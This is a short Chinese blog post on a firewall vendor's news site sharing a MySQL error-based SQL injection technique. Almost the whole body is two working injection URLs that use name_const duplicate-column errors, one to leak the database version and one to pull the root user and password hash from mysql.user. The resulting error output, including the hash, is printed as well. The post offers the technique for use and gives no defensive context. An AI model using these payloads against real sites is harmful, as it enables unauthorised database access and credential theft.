English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> 奇淫绝技：Mysql报错注入利用总结分享
 

奇淫绝技：Mysql报错注入利用总结分享

威盾防火墙 2014-12-20
 
记得上次博客记录了一个报错注入的文章{注入技巧：mysql 三种报错模式注入利用方法}，今天又看到了一个，再分享给大家
 
http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 
 
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
 
http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
 
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
相关内容： 最新内容：
SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]
SQL注入防御：用三种策略应对SQL注入攻击[2014-12-20]
手动mysql 高级注入实例分析[2014-12-20]
SQL注入测试实例分析[2014-12-20]
防止SQL注入攻击的一些方法小结[2014-12-20]
 SQL注入攻击防御深层思考[2014-12-20]
从网站SQL注入到深入入侵渗透过程[2014-12-20]
SQL注入防御：用三种策略应对SQL注入攻击[2014-12-20]
浅谈云WAF带来的利与弊[2014-12-20]
深信服EasyConnect封堵APP漏洞让移动办公安全[2014-12-20]
防止cain挂掉目标服务器的注意事项[2014-12-20]